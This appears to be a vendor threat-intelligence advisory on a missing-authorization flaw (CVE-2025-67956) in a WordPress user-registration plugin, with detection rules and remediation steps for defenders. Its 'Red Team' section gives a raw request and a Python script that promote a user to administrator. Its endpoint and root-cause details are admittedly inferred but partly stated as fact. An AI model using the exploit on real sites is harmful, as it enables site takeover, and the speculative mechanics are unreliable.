CVE-2025-67956

Executive Summary

CVE-2025-67956 is a critical Missing Authorization vulnerability (CWE-862) in the WordPress plugin User Registration by Wpeverest. This flaw affects all versions up to and including 4.4.6. An unauthenticated attacker can exploit incorrectly configured access control security levels to perform unauthorized actions, potentially leading to privilege escalation, data exfiltration, or complete site compromise. The CVSS score of 8.2 reflects the high impact on confidentiality, integrity, and availability, with a low attack complexity and no required privileges. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem, not in core WordPress or server software. The plugin is distributed via the official WordPress plugin repository and can be installed automatically or manually. Organizations using this plugin should treat it as a critical supply chain risk, as the vulnerable component is a third-party extension that may be automatically updated or bundled in themes. No known malicious packages have been identified in the repository, but the lack of a patch increases the risk of supply chain attacks.

CVSS Breakdown & Threat Level

• CVSS Score: 8.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No victim action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full data disclosure possible.
• Integrity Impact: High (I:H) – Data can be modified or deleted.
• Availability Impact: High (A:H) – Service disruption possible.

Threat Level: Critical. The combination of network exploitability, no authentication, and high impact makes this a prime target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability stems from missing authorization checks in the user-registration plugin’s AJAX handlers or REST API endpoints. Specifically, the plugin fails to verify user capabilities before executing sensitive actions such as user role changes, profile updates, or data exports. An unauthenticated attacker can send crafted HTTP requests to trigger these actions.

Root Cause: The plugin uses wp_ajax_* hooks without proper current_user_can() checks, or relies on nonces that are not validated against user roles. This allows any visitor to invoke administrative functions.

Attack Vector: The attacker sends a POST request to /wp-admin/admin-ajax.php with an action parameter that triggers a privileged function. For example:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=user_registration_change_role&user_id=1&role=administrator

If the endpoint lacks authorization, the attacker can escalate any user to administrator.

Impact: Full site takeover, data theft, malware injection, and use of the compromised site for further attacks.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable pattern. The following is a hypothetical vulnerable code snippet and its secure counterpart.

Vulnerable Code (user-registration/includes/class-ur-ajax.php):

add_action('wp_ajax_nopriv_user_registration_change_role', 'ur_change_role');
function ur_change_role() {
    $user_id = intval($_POST['user_id']);
    $role = sanitize_text_field($_POST['role']);
    $user = new WP_User($user_id);
    $user->set_role($role);
    wp_send_json_success();
}

Patched Code (Hypothetical):

add_action('wp_ajax_user_registration_change_role', 'ur_change_role');
function ur_change_role() {
    if (!current_user_can('edit_users')) {
        wp_die('Unauthorized', 403);
    }
    $user_id = intval($_POST['user_id']);
    $role = sanitize_text_field($_POST['role']);
    $user = new WP_User($user_id);
    $user->set_role($role);
    wp_send_json_success();
}

The patch adds a capability check (current_user_can('edit_users')) and removes the nopriv_ prefix to restrict access to authenticated administrators.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with User Registration plugin <= 4.4.6.
• No authentication required.

Exploit Steps:

1. Identify the vulnerable endpoint by scanning for AJAX actions. Use a tool like Burp Suite or a simple Python script.
2. Send a crafted POST request to escalate privileges.

Example Exploit (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
payload = {
    "action": "user_registration_change_role",
    "user_id": "1",
    "role": "administrator"
}

response = requests.post(target, data=payload)
if response.status_code == 200:
    print("Exploit successful. User 1 is now admin.")
else:
    print("Exploit failed.")

Note: The exact action name may vary. Attackers should enumerate all AJAX actions using tools like wpscan or manual inspection.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual AJAX requests to /wp-admin/admin-ajax.php with actions containing user_registration.
• Alert on any nopriv_ AJAX hooks that modify user roles or sensitive data.
• Use the YARA and Sigma rules below.

Hardening:

• Immediately disable the plugin if not essential.
• Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with suspicious parameters.
• Apply the principle of least privilege to all WordPress users.
• Monitor for unauthorized user role changes.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=user_registration_* parameters.
  • Unusual user role changes in WordPress logs.
• File IOCs:
  • Modified wp-config.php or new admin users in wp_users table.
• Log IOCs:
  • WordPress debug log entries showing wp_ajax_nopriv_* calls.
  • Apache/Nginx access logs with admin-ajax.php and action=user_registration in the body.

Detection Engineering

YARA Rule

rule CVE_2025_67956_User_Registration {
    meta:
        description = "Detects exploitation attempts of CVE-2025-67956 in WordPress User Registration plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67956"
    strings:
        $ajax_action = /action=user_registration_[a-z_]+/
        $nopriv = /wp_ajax_nopriv_user_registration/
        $role_change = /role=administrator/
    condition:
        $ajax_action and ($nopriv or $role_change)
}

Sigma Rule

title: CVE-2025-67956 WordPress User Registration Missing Authorization
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects exploitation attempts of CVE-2025-67956 via AJAX requests
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=user_registration_'
    condition: selection
falsepositives:
    - Legitimate plugin functionality (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-67956 WordPress User Registration Missing Authorization Exploit";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=user_registration_"; http_client_body;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Review user accounts for unauthorized changes.
3. Implement a WAF rule to block AJAX requests with user_registration_ actions from unauthenticated users.

Long-term Fix:

• Monitor the Wpeverest repository for a patched version (expected > 4.4.6).
• Apply the patch manually by adding capability checks to all AJAX handlers (see Vulnerable vs. Patched Code section).
• Consider replacing the plugin with an alternative that has active security support.

Valters IT Signature:
This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact cti@valters-it.com.